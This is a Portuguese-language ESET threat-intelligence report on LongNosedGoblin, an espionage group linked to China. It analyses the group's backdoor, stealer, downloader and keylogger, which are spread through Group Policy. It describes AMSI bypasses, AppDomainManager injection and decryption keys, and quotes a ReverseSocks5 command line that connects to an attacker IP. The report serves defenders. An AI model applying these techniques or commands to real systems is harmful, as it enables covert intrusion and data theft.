LongNosedGoblin se envolve em questões governamentais do Sudeste Asiático e do Japão

Em 2024, os pesquisadores da ESET notaram um malware não documentado anteriormente na rede de um órgão governamental do sudeste asiático. Isso nos levou a descobrir ainda mais malwares novos no mesmo sistema, nenhum dos quais tinha vínculos substanciais com qualquer grupo criminoso rastreado anteriormente. Com base em nossas descobertas, decidimos atribuir as ferramentas maliciosas a um novo grupo APT ligado à China, que chamamos de LongNosedGoblin.

O grupo emprega um conjunto variado de ferramentas personalizadas que consiste principalmente em aplicativos C#/.NET e, notavelmente, usa a Política de Grupo para implantar seu malware e mover-se lateralmente pelos sistemas das instituições visadas. Esta postagem do blog detalha nossa descoberta do LongNosedGoblin, analisa suas campanhas conhecidas e mergulha no conjunto de ferramentas do grupo.

Principais aspectos da descoberta:

• O LongNosedGoblin é um grupo APT ligado à China, recentemente identificado, que mira órgãos governamentais no Sudeste Asiático e no Japão com fins de ciberespionagem;
• O grupo está ativo desde pelo menos setembro de 2023;
• O LongNosedGoblin usa a Política de Grupo para implantar malware na rede comprometida e serviços em nuvem (por exemplo, Microsoft OneDrive e Google Drive) como servidores de comando e controle (C&C);
• Uma das ferramentas do grupo, o NosyHistorian, é usada para reunir o histórico do navegador e decidir onde implantar outros malwares, como o backdoor NosyDoor;
• O NosyDoor provavelmente está sendo compartilhado por vários cibercriminosos ligados à China;
• Fornecemos uma análise detalhada do NosyHistorian, NosyDoor, NosyStealer, NosyDownloader, NosyLogger e outras ferramentas usadas pelo LongNosedGoblin.

Problema no ar: apresentando o LongNosedGoblin

O LongNosedGoblin é um grupo APT ligado à China que tem como alvo órgãos governamentais no Sudeste Asiático e no Japão, com o objetivo de realizar ciberespionagem. Como já mencionamos: em suas campanhas, o LongNosedGoblin utiliza a Política de Grupo - um mecanismo para gerenciar configurações e permissões em máquinas Windows, normalmente usado com o Active Directory - para implantar malware e se mover lateralmente pela rede comprometida.

Uma das principais ferramentas em seu arsenal é o NosyHistorian, um aplicativo C#/.NET que o grupo usa para coletar o histórico do navegador, que é então usado para determinar onde implantar mais malware. Isso inclui outra ferramenta importante do LongNosedGoblin, um backdoor que chamamos de NosyDoor, que, nas campanhas que observamos, usava o Microsoft OneDrive como seu servidor de C&C. O NosyDoor também emprega técnicas living-off-the-land em sua cadeia de execução, ou seja, injeção do AppDomainManager. Por fim, várias das ferramentas do grupo podem ignorar a AMSI (Antimalware Scan Interface), que permite que os produtos antimalware examinem vários scripts antes da execução.

Descoberta

Em fevereiro de 2024, encontramos um malware desconhecido em um sistema de uma órgão governamental no sudeste da Ásia. O malware foi usado para instalar um backdoor personalizado, que mais tarde chamamos de NosyDoor. Ao mesmo tempo, notamos que o comprometimento envolvia não apenas uma, mas várias máquinas da mesma entidade, com o malware sendo implantado por meio da Política de Grupo.

Análises adicionais revelaram que as mesmas vítimas também foram afetadas por uma ferramenta diferente distribuída por meio da Política de Grupo, usada para coletar o histórico do navegador. Chamamos a ferramenta de NosyHistorian. Embora tenhamos encontrado muitas vítimas afetadas pelo NosyHistorian no decorrer de nossa pesquisa inicial entre janeiro e março de 2024, apenas um pequeno subconjunto delas foi comprometido pelo NosyDoor. Algumas amostras do dropper do NosyDoor continham até mesmo proteções de execução para limitar a operação a máquinas de vítimas específicas.

Posteriormente, identificamos ainda mais malware desconhecido nos computadores das vítimas: NosyStealer, que exfiltra dados do navegador; NosyDownloader, que baixa e executa um payload na memória; NosyLogger, um keylogger; outras ferramentas, como um proxy SOCKS5 reverso; e um argument runner (ferramenta que executa um aplicativo passado como argumento) que foi usado para executar um gravador de vídeo, provavelmente o FFmpeg, para capturar áudio e vídeo. O downloader foi registrado pela primeira vez em nossa telemetria em setembro de 2023.

Atribuição

Diante do conjunto exclusivo de ferramentas empregadas, aliado ao uso da Política de Grupo para facilitar a movimentação lateral, optamos por atribuir esses ataques a um novo grupo APT com vínculos à China, ao qual denominamos LongNosedGoblin. Identificamos certa sobreposição nos caminhos de arquivos citados em uma publicação do blog da Kaspersky sobre a atividade do ToddyCat, um grupo APT com objetivos semelhantes. No entanto, o malware analisado neste relatório não apresenta similaridade de código com aquele associado ao ToddyCat.

Deve-se observar também que, em junho de 2025, a empresa russa de cibersegurança Solar publicou um post no blog sobre um grupo APT denominado Erudite Mogwai, que usava um payload muito parecido com o NosyDoor do LongNosedGoblin. De acordo com os autores, o Erudite Mogwai tinha como alvo a infraestrutura de TI de uma organização governamental russa e de empresas de TI russas, usando o backdoor LuckyStrike Agent em suas operações.

No entanto, não é possível afirmar que o Erudite Mogwai e o LongNosedGoblin sejam o mesmo grupo, já que há diferenças claras e consistentes em seus TTPs. Em particular, as pesquisas sobre o Erudite Mogwai não apontam o uso da Política de Grupo do Active Directory para a implantação de malware, uma técnica bastante específica e recorrente nas operações atribuídas ao LongNosedGoblin.

Posteriormente, identificamos outra ocorrência de uma variante do NosyDoor direcionada a uma organização em um país da União Europeia. Mais uma vez, foram observados TTPs distintos, com o uso do serviço de nuvem Yandex Disk como servidor de comando e controle (C&C). A presença dessa variante do NosyDoor reforça a hipótese de que o malware possa ser compartilhado entre diferentes grupos cibercriminosos ligados à China. Essa suposição é ainda fortalecida pela identificação da palavra Paid no caminho do PDB do NosyDoor, o que sugere que o malware pode estar sendo comercializado no modelo malware as a service, possivelmente vendido ou licenciado para outros grupos cibercriminosos.

Campanhas posteriores

Ao longo de 2024, o LongNosedGoblin estava implantando ativamente o NosyDownloader no sudeste da Ásia. Em dezembro do mesmo ano, detectamos uma versão atualizada do NosyHistorian no Japão, mas não observamos nenhuma atividade posterior.

Em setembro de 2025, começamos a observar uma nova atividade do grupo no Sudeste Asiático. Como nas campanhas anteriores, o grupo cibercriminoso aproveitou a Política de Grupo para entregar o NosyHistorian às máquinas visadas.

Durante essa onda de ataques, notamos um comportamento consistente com o uso do Cobalt Strike: um loader chamado oci.dll foi baixado em uma única máquina, com um payload chamado ocapi.edb carregado do disco. Em seguida, o LongNosedGoblin implantou o possível loader do Cobalt Strike em máquinas selecionadas por meio da Política de Grupo.

Além disso, observamos o download de outro componente semelhante, mscorsvc.dll, cujo payload estava armazenado no arquivo conf.ini. Esse loader foi então implantado nas máquinas das vítimas por meio da Política de Grupo, utilizando o mesmo mecanismo de entrega empregado pelo oci.dll.

Bisbilhotando: conjunto de ferramentas do LongNosedGoblin

NosyHistorian

O NosyHistorian é um aplicativo C#/.NET com um nome interno autoexplicativo GetBrowserHistory, pois ele, de fato, coleta o histórico do navegador. Nas campanhas observadas, os cibercriminosos usaram essa ferramenta para obter informações sobre as máquinas na infraestrutura comprometida. Com base nessas informações, eles escolheram um pequeno subconjunto de vítimas específicas para comprometer ainda mais com seu backdoor NosyDoor.

Vimos a ferramenta sendo implantada por meio da Política de Grupo sob o nome de arquivo History.ini, disfarçando o arquivo como um arquivo INI. Na realidade, trata-se de um arquivo executável portátil (PE), cujo objetivo mais provável é se misturar a outros arquivos INI comumente armazenados no diretório de cache da Política de Grupo.

O NosyHistorian percorre todos os usuários da máquina e coleta o histórico de navegação dos navegadores Google Chrome, Microsoft Edge e Mozilla Firefox. Cada banco de dados de histórico é copiado para um diretório temporário e, em seguida, transferido para um compartilhamento SMB específico, previamente codificado, dentro da rede local da organização comprometida. Os nomes de arquivo utilizados pelo NosyHistorian para cada histórico de navegador estão listados na Tabela 1, em que <profile_name> corresponde aos perfis do respectivo navegador.

Tabela 1: Nomes de arquivos de histórico criados pelo NosyHistorian.

Tanto essa ferramenta quanto o NosyDoor têm caminhos de PDB semelhantes e foram compilados a partir do diretório E:\Csharp, sendo que o caminho do PDB do NosyHistorian é: E:\Csharp\SharpMisc\GetBrowserHistory\obj\Debug\GetBrowserHistory.pdb.

NosyDoor

Conforme mencionado anteriormente, o backdoor NosyDoor usa serviços de nuvem, como o Microsoft OneDrive, para seu servidor C&C. O malware tem uma cadeia de execução de três estágios bastante simples, descrita na Figura 1. O primeiro estágio é um dropper que implanta o segundo estágio, que envolve um ataque do tipo living-off-the-land usando a técnica de injeção AppDomainManager, que, por sua vez, é usada para executar o payload final, o próprio backdoor.

O NosyDoor coleta metadados sobre a máquina da vítima, incluindo o nome do dispositivo, o nome de usuário, a versão do sistema operacional e o nome do processo atual, e envia tudo isso para o C&C. Em seguida, ele recupera e analisa arquivos de tarefas com comandos do C&C. Os comandos permitem a exfiltração de arquivos, a exclusão de arquivos e a execução de comandos do shell, entre outras coisas.

Estágio 1 do NosyDoor - dropper

O primeiro estágio do malware é um dropper, especificamente um aplicativo C#/.NET com o nome interno OneClickOperation. Da mesma forma que o NosyHistorian, ele é implantado por meio da Política de Grupo. Vimos o dropper se disfarçar como um arquivo de Política de Registro usando o nome de arquivo Registry.pol, embora também tenhamos observado Registry.plo, o que é incomum (pode ser um erro de digitação ou talvez os grupos criminosos não quisessem que o nome do arquivo entrasse em conflito com outro arquivo malicioso).

O dropper decodifica arquivos incorporados em base64 e os descriptografa por meio do Data Encryption Standard (DES) com a chave e o vetor de inicialização definidos como UevAppMo (os primeiros oito bytes da string UevAppMonitor) e, em seguida, os descarta em C:\Windows\Microsoft.NET\Framework com os seguintes nomes de arquivos:

• SharedReg.dll
• log.cached
• netfxsbs9.hkf
• UevAppMonitor.exe.config

Esses nomes de arquivos foram escolhidos deliberadamente para se misturarem aos arquivos existentes, já que o diretório normalmente contém arquivos chamados SharedReg12.dll e netfxsbs12.hkf.

Em suas etapas finais, o dropper cria e inicia uma tarefa agendada do Windows com o nome OneDrive Reporting Task-S-1-5-21-<GUID> na pasta de tarefas da Microsoft, em que <GUID> é uma string GUID aleatória. A tarefa agendada é responsável por executar o legítimo UevAppMonitor.exe no diretório C:\Windows\Microsoft.NET\Framework durante a inicialização do sistema. O dropper copia o arquivo legítimo de C:\Windows\System32\ para o novo local.

As amostras mais recentes também incluem uma barreira de execução que faz com que o dropper funcione somente nos computadores das vítimas com um nome de máquina específico (veja a Figura 2).

NosyDoor Estágio 2 - injeção do AppDomainManager

O UevAppMonitor.exe é um aplicativo C#/.NET legítimo, que o malware copiou do diretório C:\Windows\System32\ para o C:\Windows\Microsoft.NET\Framework e usou como um binário living-off-the-land, ou LOLBin. Os ataques do tipo "living-off-the-land" usam ferramentas legítimas já presentes no sistema. Nesse caso, o aplicativo é usado para acionar a injeção do AppDomainManager por meio de um arquivo de configuração. Essa técnica permite que aplicativos desenvolvidos na plataforma .NET carreguem código malicioso em vez do código legítimo originalmente esperado, explorando a classe AppDomainManager.

Quando o aplicativo é executado, ele carrega o arquivo de configuração mostrado na Figura 3, o que faz com que o aplicativo chame o método InitializeNewDomain da classe SharedReg personalizada em SharedReg.dll. A configuração também define o atributo enabled do elemento <etwEnable> como false para que o rastreamento de eventos do Windows seja desativado.

SharedReg.dll contém código para contornar o AMSI, de uma estrutura de evasão AV/EDR de código aberto chamada inceptor. Além disso, ele decodifica em base64 o arquivo netfxsbs9.hkf, descriptografa o resultado via AES com a chave UevAppMonitor, preenchida com bytes nulos até que seu comprimento seja 16, vetor de inicialização 0 e, por fim, decodifica em base64 o resultado novamente. O resultado é NosyDoor, que é então executado. Todos os erros são gravados no arquivo error.txt no diretório C:\Windows\Microsoft.NET\Framework.

NosyDoor Estágio 3 - payload

O terceiro estágio do NosyDoor, o payload principal, é um backdoor C#/.NET com o nome interno OneDrive e com o caminho PDB E:\Csharp\Thomas\Server\ThomasOneDrive\obj\Release\OneDrive.pdb. Como esse nome sugere, o backdoor usa serviços de nuvem, nesse caso o Microsoft OneDrive, como um servidor C&C.

A lista completa de metadados que o backdoor coleta consiste no seguinte:

• endereço IPv4 externo;
• endereço IPv4 local;
• ID do agente;
• nome de usuário;
• nome da máquina;
• diretório atual;
• processo atual (nome, ID, arquitetura);
• hora de início local do estágio 3;
• hora local atual;
• versão do sistema operacional;
• CodeType (consulte a Tabela 3);
• AgentType (consulte a Tabela 3).

Todos os metadados coletados são criptografados via RSA e, em seguida, carregados no OneDrive como o arquivo Read_<agent_id>.max. Depois que o NosyDoor envia os metadados, ele procura comandos do C&C em arquivos de tarefas com extensões .max no seguinte diretório:

<FolderName>-<ListenerID>/<agent_id>/<Payload.TaskFolderName>

Cada arquivo de tarefa contém um comando criptografado, que é encapsulado com valores extraídos da configuração do backdoor:

<Payload.Prepend><Payload.PayloadPrepend><encrypted_command><Payload.PayloadAppend><Payload.Append>

O comando é então decodificado com base64 e descriptografado via AES com a chave <Payload.Key> e o vetor de inicialização 0. Todos os comandos são descritos na Tabela 2. Embora o comando CMD_TYPE_TASKSCHEDULER seja mencionado no código, ele não é implementado em nenhuma das amostras observadas.

Tabela 2: Comandos suportados pelo NosyDoor.

Depois de executar o comando, o NosyDoor executa as etapas inversas - criptografa a saída do comando usando AES, codifica com base64 e encapsula com as cadeias de caracteres <Payload.Prepend><Payload.PayloadPrepend> e <Payload.PayloadAppend><Payload.Append>. Cada resultado é armazenado no servidor C&C em um arquivo com um nome de arquivo especificando a hora local (carimbo de data/hora Unix multiplicado por 100.000) e terminando com a extensão .max:

<FolderName>-<ListenerID>/<agent_id>/<Payload.ReceiveFolderName>/<unix_timestamp>.max

Se ocorrer uma exceção durante a operação do NosyDoor, o backdoor gravará a mensagem de exceção junto com a hora local em C:\Users\Public\Libraries\thomas.log.

O backdoor contém uma dependência personalizada chamada Library que é incorporada como um recurso usando o Costura. Ela contém principalmente código relacionado ao processamento de comandos, à comunicação com o Microsoft OneDrive e a vários métodos auxiliares, enquanto o binário principal lida com o loop de beaconing e lê um arquivo de configuração, utilizando a biblioteca.

A configuração é armazenada no arquivo log.cached de forma criptografada. O NosyDoor a descriptografa via XOR com a chave SecretKey, decodifica-a em base64 e, em seguida, descriptografa-a via AES com a chave Thomas, preenchida com bytes nulos até que seu comprimento seja 16 e IV 0. Essa configuração pode ser vista na Figura 4.

{{CODE_BLOCK_0}}

Figura 4. Configuração descriptografada (log.cached, com formatação aprimorada).

Os valores de configuração <BeginDate> e <EndDate> especificam o intervalo de tempo local em que o NosyDoor opera. Nesse caso, o NosyDoor está ativo somente entre 8h51min e 18h51min. No entanto, uma vez autenticado, o NosyDoor processará os comandos que ainda estão pendentes em uma fila e enviará arquivos de resposta independentemente do horário.

NosyStealer

O NosyStealer é usado para roubar dados do navegador do Microsoft Edge e do Google Chrome. Conforme ilustrado na Figura 5, ele tem uma cadeia de execução de quatro estágios, com o componente stealer sendo o payload do estágio final.

NosyStealer Estágio 1 - loader de DLL

O primeiro estágio(pmp.exe) na cadeia do NosyStealer é um aplicativo C/C++. A amostra observada simplesmente carrega uma biblioteca chamada SERV.dll do disco e chama a função exportada Hello.

NosyStealer Estágio 2 - injetor

Observamos duas amostras do NosyStealer Estágio 2 - uma(SERV.dll) em nossa telemetria e a outra(msi.dll) carregada no VirusTotal da Malásia. Nenhuma delas tem a função exportada Hello, mas ambas têm o código principal em DllMain, ou seja, o código malicioso é executado logo após o carregamento da DLL. Elas têm as seguintes exportações:

• ??0Cv2dllnoinject@@QEAA@XZ
• ??4Cv2dllnoinject@@QEAAAEAV0@$$QEAV0@@Z
• ??4Cv2dllnoinject@@QEAAAEAV0@AEBV0@@Z
• ?fnv2dllnoinject@@YAHXZ
• ?nv2dllnoinject@@3HA

Os dados do próximo estágio são carregados a partir do caminho codificado C:\ProgramData\Microsoft\WDF\MDE.dat. Eles são descriptografados por meio de uma cifra XOR de byte único com a chave 0x7A. O resultado é o código shell Donut que é injetado no processo pmp.exe em execução (NosyStealer Stage 1) usando a API CreateRemoteThread no caso SERV.dll e em um processo notepad.exe recém-criado usando a API SetThreadContext no caso msi.dll.

NosyStealer Estágio 3 - loader

Conforme mencionado na seção NosyStealer Estágio 2 - injetor, esse estágio é um shellcode que contém um arquivo PE incorporado que é descriptografado, carregado e executado na memória usando o loader reflexivo do Donut. O binário extraído é um aplicativo C/C++.

Como o NosyDoor Estágio 2 - injeção do AppDomainManager, esse estágio usa uma técnica conhecida para contornar o AMSI. Ele corrige a função AmsiScanBuffer no amsi.dll carregado com código que retorna E_INVALIDARG (veja a Figura 6).

Em seguida, ele cria uma tarefa agendada do Windows com o nome Daily Check Task que executa C:\ProgramData\Microsoft\WDF\pmp.exe (NosyStealer Stage 1) todos os dias com permissões da conta do sistema local.

Depois de corrigir a função AMSI e persistir, ele continua de forma semelhante ao estágio anterior - ele descriptografa o próximo estágio do caminho codificado C:\ProgramData\Microsoft\WDF\mfd.dat por meio de uma cifra XOR de byte único com a chave 0x7A, em que o blob resultante é outro shellcode Donut, que é então executado.

NosyStealer Estágio 4 - payload

Novamente, como o NosyStealer Estágio 3 - loader, esse estágio é um shellcode que descriptografa, carrega e executa um arquivo PE incorporado na memória usando o loader reflexivo do Donut. Desta vez, o binário extraído é um aplicativo Go que rouba dados do navegador dos navegadores da Web Microsoft Edge e Google Chrome. Para fazer isso, ele baixa um arquivo chamado config do Google Docs. Quando o arquivo contém o ID da vítima, o NosyStealer lê os dados de perfil do Microsoft Edge e do Google Chrome, arquiva-os com tar e os criptografa com uma cifra personalizada.

O NosyStealer então exfiltra o arquivo tar criptografado para o Google Drive. A Figura 7 é um exemplo da configuração formatada em JSON, incorporada no binário, necessária para acessar o Google Drive e o Google Docs.

{
  "type": "service_account",
  "project_id": "dev0-411506",
  "private_key_id": "[redacted]",
  "private_key": "[redacted]",
  "client_email": "dev0-660@dev0-411506.iam.gserviceaccount.com",
  "client_id": "[redacted]",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": 
"https://www.googleapis.com/robot/v1/metadata/x509/dev0-660%40dev0-411506.iam.gserviceaccount.com",
  "universe_domain": "googleapis.com"
}

Figura 7. Configuração do NosyStealer.

O NosyStealer também registra erros e mensagens de status em um arquivo do Google Docs denominado log, que pode conter informações relativas a mais de uma vítima. A mensagem de status inclui a constante 9, possivelmente indicando a versão do NosyStealer. O formato completo dessa mensagem de status — em que <machine_local_ips> representa uma lista de endereços IPv4 locais dos adaptadores de rede, é o seguinte:

<local_date> - <victim_id> - 9 - heartbeat <machine_local_ips>

NosyDownloader

Ao analisar os dados de telemetria da ESET, identificamos também, nas redes comprometidas pelo LongNosedGoblin, diversos aplicativos originalmente benignos que haviam sido adulterados com código malicioso. Esse código incorpora um downloader que denominamos NosyDownloader, responsável por executar uma cadeia de comandos ofuscados passados a um processo PowerShell iniciado com um longo argumento de linha de comando. Dessa forma, o script não é gravado em disco, dificultando sua detecção.

Cada estágio subsequente da cadeia é codificado em Base64, sendo que o estágio final é ainda descompactado utilizando gzip.Os diferentes estágios são descritos de forma resumida na Tabela 3. Assim como ocorre no NosyDoor Estágio 2 e no NosyStealer Estágio 3, o segundo estágio do NosyDownloader também contorna o AMSI. Nesse caso, o malware utiliza o método de reflection de Matt Graeber, além de técnicas de desativação do registro de scripts amplamente disponibilizadas no GitHub, para burlar os mecanismos de inspeção do AMSI.

Tabela 3: Estágios do script do NosyDownloader.

Suspeitamos que o NosyDownloader foi usado para implantar o ReverseSocks5, o NosyLogger e um executor de argumentos, pois os vimos no período de uma semana após a execução do NosyDownloader.

NosyLogger

Também identificamos um keylogger C#/.NET que chamamos de NosyLogger. Ele parece ser uma versão modificada do keylogger de código aberto DuckSharp, com as principais diferenças sendo que ele não envia e-mails nem traduz as teclas registradas para o alfabeto cirílico.

Inicialmente, o malware verifica se um depurador está presente por meio das APIs IsDebuggerPresent e CheckRemoteDebuggerPresent; caso contrário, ele inicia sua funcionalidade de registro de teclas.

O nome da janela, as teclas pressionadas e o conteúdo da área de transferência colado são acumulados na memória. O NosyLogger criptografa esses lotes de dados usando AES com a chave D53FCC01038E20193FBD51B7400075CF7C9C4402B73DA7B0DB836B000EBD8B1C e um vetor de inicialização de comprimento fixo gerado aleatoriamente, em que o vetor é anexado ao lote de dados criptografado. O lote de dados criptografados é então anexado ao arquivo no local codificado C:\Windows\Temp\TS_D418.tmp em formato de cadeia hexadecimal. Nesse arquivo, cada lote de dados criptografados é separado por uma nova linha seguida pela string ENDBLOCK. Esse processo de criptografia e armazenamento de dados acumulados no arquivo ocorre a cada 10 segundos. Esse arquivo não é exfiltrado pelo NosyLogger.

Outras ferramentas implantadas

ReverseSocks5

Entre outros malwares implantados pelo LongNosedGoblin, encontramos um proxy SOCKS5 reverso de código aberto, escrito em Go, chamado ReverseSocks5. Descobrimos isso quando notamos que os seguintes argumentos de linha de comando estavam sendo usados:

-connect 118.107.234[.]29:8080 -psk "58fi04qQ" /F

A opção -psk é usada para definir uma chave pré-compartilhada para criptografia e autenticação. O argumento /F não é tratado pelo ReverseSocks5 e provavelmente não é intencional; esse argumento é comumente usado com schtasks create.

Em seguida, notamos outro conjunto de argumentos de linha de comando (que não têm mais o argumento /F ):

-connect 118.107.234[.]29:8080 -psk "15Kaf22N3b"

Esse segundo conjunto corresponde à execução do ReverseSocks5, em que observamos o PowerShell como o processo principal. O NosyDownloader também foi executado durante esse período, indicando que a amostra provavelmente foi implantada com ele.

Executor do argumento

Esse é um aplicativo C#/.NET com nome interno Binary; o único objetivo dessa ferramenta é executar um aplicativo passado como argumento. Vimos o nome de arquivo TCOEdge.exe como parte da linha de comando, juntamente com argumentos específicos da estrutura multimídia FFmpeg; ele foi usado para gravar a tela e capturar áudio, salvando-o em C:\Windows\Temp\output.avi.

Para resumir

O LongNosedGoblin é um grupo APT alinhado à China que tem como alvo entidades governamentais no sudeste da Ásia e no Japão. Nossa análise de suas campanhas revelou várias peças de malware personalizado, que o grupo usa para conduzir a ciberespionagem contra suas vítimas. Notavelmente, o LongNosedGoblin emprega a Política de Grupo para realizar o movimento lateral dentro da rede comprometida.

Para qualquer dúvida sobre nossa pesquisa publicada no WeLiveSecurity, entre em contato conosco pelo e-mail threatintel@eset.com.

Indicadores de Comprometimento

Uma lista abrangente de indicadores de comprometimento (IoCs) e amostras pode ser encontrada em nosso repositório no GitHub.

Arquivos

Rede

Técnicas do MITRE ATT&CK

Esta tabela foi criada usando a versão 18 da estrutura MITRE ATT&CK.